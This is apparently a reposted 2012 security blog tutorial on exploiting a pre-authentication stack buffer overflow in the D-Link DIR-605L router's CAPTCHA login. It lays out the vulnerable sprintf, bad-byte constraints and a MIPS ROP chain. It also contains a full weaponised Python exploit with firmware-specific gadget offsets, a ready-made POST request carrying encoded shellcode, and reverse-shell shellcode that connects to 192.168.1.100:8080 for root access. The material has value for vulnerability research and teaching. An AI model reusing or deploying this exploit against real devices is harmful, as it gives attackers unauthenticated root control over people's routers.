Exploiting a MIPS Stack Overflow


Exploiting a MIPS Stack Overflow

Although D-Link’s CAPTCHA login feature has a history of implementation flaws and has been proven to not protect against the threat it was intended to thwart, they continue to keep this feature in their products. Today we’ll be looking at the CAPTCHA implementation in the D-Link DIR-605L, which is a big-endian MIPS system running Linux 2.4.

A pre-authentication vulnerability exists in the DIR-605L’s processing of the user-supplied CAPTCHA data from the Web-based login page. The formLogin function in the Boa Web server is responsible for handling the login data, and obtains the value of the FILECODEPOST variable using the websGetVar function. The FILECODE value contains a unique string identifying the CAPTCHA image displayed on the login page, and is saved to the $s1 register:

$s1 = FILECODE

If the CAPTCHA feature is enabled, this value is later passed as the second argument to the getAuthCode function:

FILECODE value being passed to getAuthCode

The getAuthCode function saves the FILECODE value back to the $s1 register:

$s1 = $a1

Which in turn is passed as the third argument to sprintf, (note the ‘%s’ in the sprintf format string):

sprintf’s are bad, mmmk?

The result of the sprintf is saved to the address contained in $s0, which is the address of the stack variable var_80:

$a0 = var_80

This is a classic stack based buffer overflow, and overflowing var_80 allows us to control all of the register values saved onto the stack by getAuthCode’s function prologue, including the saved return address and the saved values of the $s0 – $s3 registers:

getAuthCode stack layout

From the stack layout above, we can see that the beginning of the var_80 stack variable (-0×80) is 0×78 bytes away from the saved return address (-0×08). The format string passed to the sprintf function is “/var/auth/%s.msg”, so there are 10 bytes (“/var/auth/”) that are copied into the var_80 buffer before our user-supplied content.

This means that supplying 0×78 – 0x0A = 0x6E byte long FILECODE value will overflow all of the stack values up to the saved return address, and the next four bytes should overwrite the saved return address on the stack. We can test this by setting a breakpoint on the return from getAuthCode and sending the following POST request:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 232


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD&login_name=&curTime=1348588030496&login_n=admin&login_pass=Zm9vb255b3UA&VER_CODE=

Registers at getAuthCode return

Excellent! But before we can build an exploit, we need to examine some of the constraints that we’ll need to deal with. First of all, any payload we send obviously must be NULL free, however, it also cannot contain the character ‘g’. This is due to the fact that prior to calling getAuthCode, the formLogin function looks for the first instance of the character ‘g’, and if found, replaces the next byte with 0×00:

strchr(FILECODE, ‘g’);

Beyond this, we have virtually no restrictions on the content of our payload. We will however need to deal with cache incoherency, so we’ll use a few MIPS ROP techniques to flush the MIPS data cache and obtain a relative pointer back to our data on the stack in order to gain arbitrary code execution.

The easiest and most reliable method of flushing the cache that I’ve found is to force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically. At offset 0x248D4 in libc.so we find the following:

First ROP gadget

This loads the value 1 into $a0, then copies the value of $s1 (which we control) into $t9 and performs a jump and link to $t9; this is perfect for setting up the argument to sleep(), so we will use this as our first ROP gadget. We will point $s1 at a our next ROP gadget, offset 0x2B954 in libc.so:

Second ROP gadget

This copies the value of $s2 (which we control) into $t9, restores the value of $ra from the stack and then jumps to the address loaded in $t9. Since we control both $s2 and data on the stack, we can ensure that $s2 contains the address of the sleep function (located at offset 0x23D30 in libc.so), and also control the value loaded into $ra. This means that not only can we call sleep, but we can control where it returns to. Note that it also allows us to load new values from the stack into registers $s0 – $s4.

Next, we find a relative stack reference in another library, apmib.so. At offset 0x27E8 it copies the stack pointer plus an offset of 0x1C into the $a2 register, then calls $s1:

Third ROP gadget

If we cause $s1 to point to offset 0x1D78 in the apmib.so library, it will copy $a2 (which now contains a pointer to the stack) into $t9, then jump and link to $t9:

Fourth ROP gadget

Attentive readers may notice that the first and third gadgets require $s1 to point to different addresses. However, recall that our second gadget loads data from a different location on the stack into $s1, so after the first gadget is finished we can load $s1 with a new value and re-use it in our third ROP gadget.

Thus, we need to craft our stack such that:

  • The function epilogue of getAuthCode loads 0x2B954 into $s1, the address of sleep (0x23D30) into $s2, and 0x248D4 into $ra
  • The second ROP gadget loads 0x1D78 into $s1 and 0x27E8 into $ra
  • Our shellcode must be located at $sp+0x1C after sleep returns

Taking the base addresses of the libc.so and apmib.so libraries into account, our payload then becomes:

        libc  = 0x2ab86000
        apmib = 0x2aaef000

        payload = MIPSPayload(endianess="big", badbytes=[0x00, 0x67])

        payload.AddBuffer(94)                      # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x2B954, base=libc)     # $s1
        payload.AddAddress(0x23D30, base=libc)     # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddAddress(0x248D4, base=libc)     # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x01D78, base=apmib)    # $s1
        payload.AddBuffer(4)                       # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddBuffer(4)                       # $s4
        payload.AddAddress(0x027E8, base=apmib)    # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.Add(shellcode)                     # shellcode 

It should be noted that the shellcode piece is in itself non-trivial. While I won’t discuss MIPS shellcoding here, just about any MIPS shellcode found online will not work out of the box (except for maybe some simple reboot shellcode). They may work on the specific systems they were tested against, but aren’t very generic and will likely need some tweaking. I will be using some slightly modified reverse shell code that should work on most MIPS systems.

The final POST request contains none of our restricted characters, and looks like:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 894


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BB%19T%2A%BA%9D0AAAA%2A%BA%A8%D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%AF%0DxAAAAAAAAAAAA%2A%AF%17%E8AAAAAAAAAAAAAAAAAAAAAAAAAAAA%24%0F%FF%FA%01%E0x%27%21%E4%FF%FD%21%E5%FF%FD%28%06%FF%FF%24%02%10W%01%01%01%0C%AF%A2%FF%FF%8F%A4%FF%FF4%0F%FF%FD%01%E0x%27%AF%AF%FF%E0%3C%0E%1F%905%CE%1F%90%AF%AE%FF%E4%3C%0E%7F%015%CE%01%01%AF%AE%FF%E6%27%A5%FF%E2%24%0C%FF%EF%01%800%27%24%02%10J%01%01%01%0C%24%0F%FF%FD%01%E0x%27%8F%A4%FF%FF%01%E0%28%21%24%02%0F%DF%01%01%01%0C%24%10%FF%FF%21%EF%FF%FF%15%F0%FF%FA%28%06%FF%FF%3C%0F%2F%2F5%EFbi%AF%AF%FF%EC%3C%0En%2F5%CEsh%AF%AE%FF%F0%AF%A0%FF%F4%27%A4%FF%EC%AF%A4%FF%F8%AF%A0%FF%FC%27%A5%FF%F8%24%02%0F%AB%01%01%01%0C&curTime=1348588030496&VER_CODE=1234&login_n=admin&login_pass=Zm9vb255b3UA&login_name=admin

And results in:

Reverse root shell

Success. :)

For those interested, PoC code that spawns a reverse root shell to 192.168.1.100:8080 and has been tested against firmware versions 1.10, 1.12 and 1.13 can be found here.



#!/usr/bin/env python
#####################################################################################
# Exploit for the DIR-605L CAPTCHA login stack based buffer overflow vulnerability.
# Spawns a reverse root shell to 192.168.1.100 on port 8080.
# Tested against firmware versions 1.10, 1.12 and 1.13.
#
# Craig Heffner
# http://www.devttys0.com
# 06-October-2012
#####################################################################################

import sys
import string
import socket
import urllib, urllib2, httplib

class MIPSPayload:

	BADBYTES = [0x00]
	LITTLE = "little"
	BIG = "big"
	FILLER = "A"
	BYTES = 4
	NOP = "\x27\xE0\xFF\xFF"

	def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
		self.libase = libase
		self.shellcode = ""
		self.endianess = endianess
		self.badbytes = badbytes

	def Add(self, data):
		self.shellcode += data

	def Address(self, offset, base=None):
		if base is None:
			base = self.libase

		return self.ToString(base + offset)

	def AddAddress(self, offset, base=None):
		self.Add(self.Address(offset, base))

	def AddBuffer(self, size, byte=FILLER):
		self.Add(byte * size)

	def AddNops(self, size):
		if self.endianess == self.LITTLE:
			self.Add(self.NOP[::-1] * size)
		else:
			self.Add(self.NOP * size)

	def ToString(self, value, size=BYTES):
		data = ""

		for i in range(0, size):
			data += chr((value >> (8*i)) & 0xFF)

		if self.endianess != self.LITTLE:
			data = data[::-1]

		return data

	def Build(self):
		count = 0

		for c in self.shellcode:
			for byte in self.badbytes:
				if c == chr(byte):
					raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
			count += 1
					
		return self.shellcode

	def Print(self, bpl=BYTES):
		i = 0

		for c in self.shellcode:
			if i == 4:
				print ""
				i = 0
			
			sys.stdout.write("\\x%.2X" % ord(c))
			sys.stdout.flush()

			if bpl > 0:
				i += 1
		print "\n"

class HTTP:

	HTTP = "http"
	HTTPS = "https"

	def __init__(self, host, proto=HTTP, verbose=False):
		self.host = host
		self.proto = proto
		self.verbose = verbose

	def Encode(self, string):
		return urllib.quote_plus(string)

	def Send(self, uri, headers={}, data=None, response=False):
		html = ""

		if uri.startswith('/'):
			c = ''
		else:
			c = '/'

		url = '%s://%s%s%s' % (self.proto, self.host, c, uri)
		if self.verbose:
			print url

		if data is not None:
			data = urllib.urlencode(data)

		req = urllib2.Request(url, data, headers)
		rsp = urllib2.urlopen(req)
		
		if response:
			html = rsp.read()

		return html



if __name__ == '__main__':

	libc = 0x2ab86000
	apmib = 0x2aaef000

	shellsize = 184
	shellcode = string.join([
		"\x24\x0f\xff\xfa", # li	t7,-6
		"\x01\xe0\x78\x27", # nor	t7,t7,zero
		"\x21\xe4\xff\xfd", # addi	a0,t7,-3
		"\x21\xe5\xff\xfd", # addi	a1,t7,-3
		"\x28\x06\xff\xff", # slti	a2,zero,-1
		"\x24\x02\x10\x57", # li	v0,4183
		"\x01\x01\x01\x0c", # syscall	0x40404
		"\xaf\xa2\xff\xff", # sw	v0,-1(sp)
		"\x8f\xa4\xff\xff", # lw	a0,-1(sp)
		"\x34\x0f\xff\xfd", # li	t7,0xfffd
		"\x01\xe0\x78\x27", # nor	t7,t7,zero
		"\xaf\xaf\xff\xe0", # sw	t7,-32(sp)
		"\x3c\x0e\x1f\x90", # lui	t6,0x1f90
		"\x35\xce\x1f\x90", # ori	t6,t6,0x1f90
		"\xaf\xae\xff\xe4", # sw	t6,-28(sp)

		# Big endian IP address 192.168.1.100
		"\x3c\x0e\xc0\xA8", # lui	t6,0x7f01
		"\x35\xce\x01\x64", # ori	t6,t6,0x101

		"\xaf\xae\xff\xe6", # sw	t6,-26(sp)
		"\x27\xa5\xff\xe2", # addiu	a1,sp,-30
		"\x24\x0c\xff\xef", # li	t4,-17
		"\x01\x80\x30\x27", # nor	a2,t4,zero
		"\x24\x02\x10\x4a", # li	v0,4170
		"\x01\x01\x01\x0c", # syscall	0x40404
		"\x24\x0f\xff\xfd", # li	t7,-3
		"\x01\xe0\x78\x27", # nor	t7,t7,zero
		"\x8f\xa4\xff\xff", # lw	a0,-1(sp)
		"\x01\xe0\x28\x21", # move	a1,t7
		"\x24\x02\x0f\xdf", # li	v0,4063
		"\x01\x01\x01\x0c", # syscall	0x40404
		"\x24\x10\xff\xff", # li	s0,-1
		"\x21\xef\xff\xff", # addi	t7,t7,-1
		"\x15\xf0\xff\xfa", # bne	t7,s0,68 <dup2_loop>
		"\x28\x06\xff\xff", # slti	a2,zero,-1
		"\x3c\x0f\x2f\x2f", # lui	t7,0x2f2f
		"\x35\xef\x62\x69", # ori	t7,t7,0x6269
		"\xaf\xaf\xff\xec", # sw	t7,-20(sp)
		"\x3c\x0e\x6e\x2f", # lui	t6,0x6e2f
		"\x35\xce\x73\x68", # ori	t6,t6,0x7368
		"\xaf\xae\xff\xf0", # sw	t6,-16(sp)
		"\xaf\xa0\xff\xf4", # sw	zero,-12(sp)
		"\x27\xa4\xff\xec", # addiu	a0,sp,-20
		"\xaf\xa4\xff\xf8", # sw	a0,-8(sp)
		"\xaf\xa0\xff\xfc", # sw	zero,-4(sp)
		"\x27\xa5\xff\xf8", # addiu	a1,sp,-8
		"\x24\x02\x0f\xab", # li	v0,4011
		"\x01\x01\x01\x0c"  # syscall	0x40404
	], '')	

	target = {
		"1.10"	: [
				0x2B194,
				0x236E0,
				0x24284,
				0x01AFC,
				0x021B0
		],
		"1.12"	: [
				0x2B954,
				0x23D30,
				0x248D4,
				0x01D78,
				0x027E8
		],
		"1.13"	: [
				0x2B954,
				0x23D30,
				0x248D4,
				0x01D78,
				0x027E8
		]
	}

	try:
		ip = sys.argv[1]
		v = sys.argv[2]
	except:
		print "Usage: %s <target ip> <target firmware version>" % sys.argv[0]
		sys.exit(1)

	if not target.has_key(v):
		print "Unknown firmware version: %s!" % v
		sys.exit(1)

	payload = MIPSPayload(endianess="big", badbytes=[0x00, 0x67])

	payload.AddBuffer(94)				# filler
	payload.AddBuffer(4)				# $s0
	payload.AddAddress(target[v][0], base=libc)	# $s1 (0x2B954)
	payload.AddAddress(target[v][1], base=libc)	# $s2 (0x23D30)
	payload.AddBuffer(4)				# $s3
	payload.AddAddress(target[v][2], base=libc)	# $ra (0x248D4)
	payload.AddBuffer(0x1C)				# filler
	payload.AddBuffer(4)				# $s0
	payload.AddAddress(target[v][3], base=apmib)	# $s1 (0x1D78)
	payload.AddBuffer(4)				# $s2
	payload.AddBuffer(4)				# $s3
	payload.AddBuffer(4)				# $s4
	payload.AddAddress(target[v][4], base=apmib)	# $ra (0x27E8)
	payload.AddBuffer(0x1C)				# filler
	payload.Add(shellcode)				# shellcode
	
	pdata = {
		'login_name'		: 'admin',
		'curTime'		: '1348588030496',
		'FILECODE'		: payload.Build(),
		'VERIFICATION_CODE'	: 'myvoiceismypassportverifyme',
		'login_n'		: 'admin',
		'login_pass'		: 'Zm9vb255b3UA',
		'VER_CODE'		: '1234'
	}

	try:
		HTTP(ip).Send('/goform/formLogin', data=pdata)
	except httplib.BadStatusLine:
		print "Payload delivered."
	except Exception, e:
		print "Payload delivery failed: %s" % str(e)






http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/


http://sebug.net/appdir/D-LINK



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值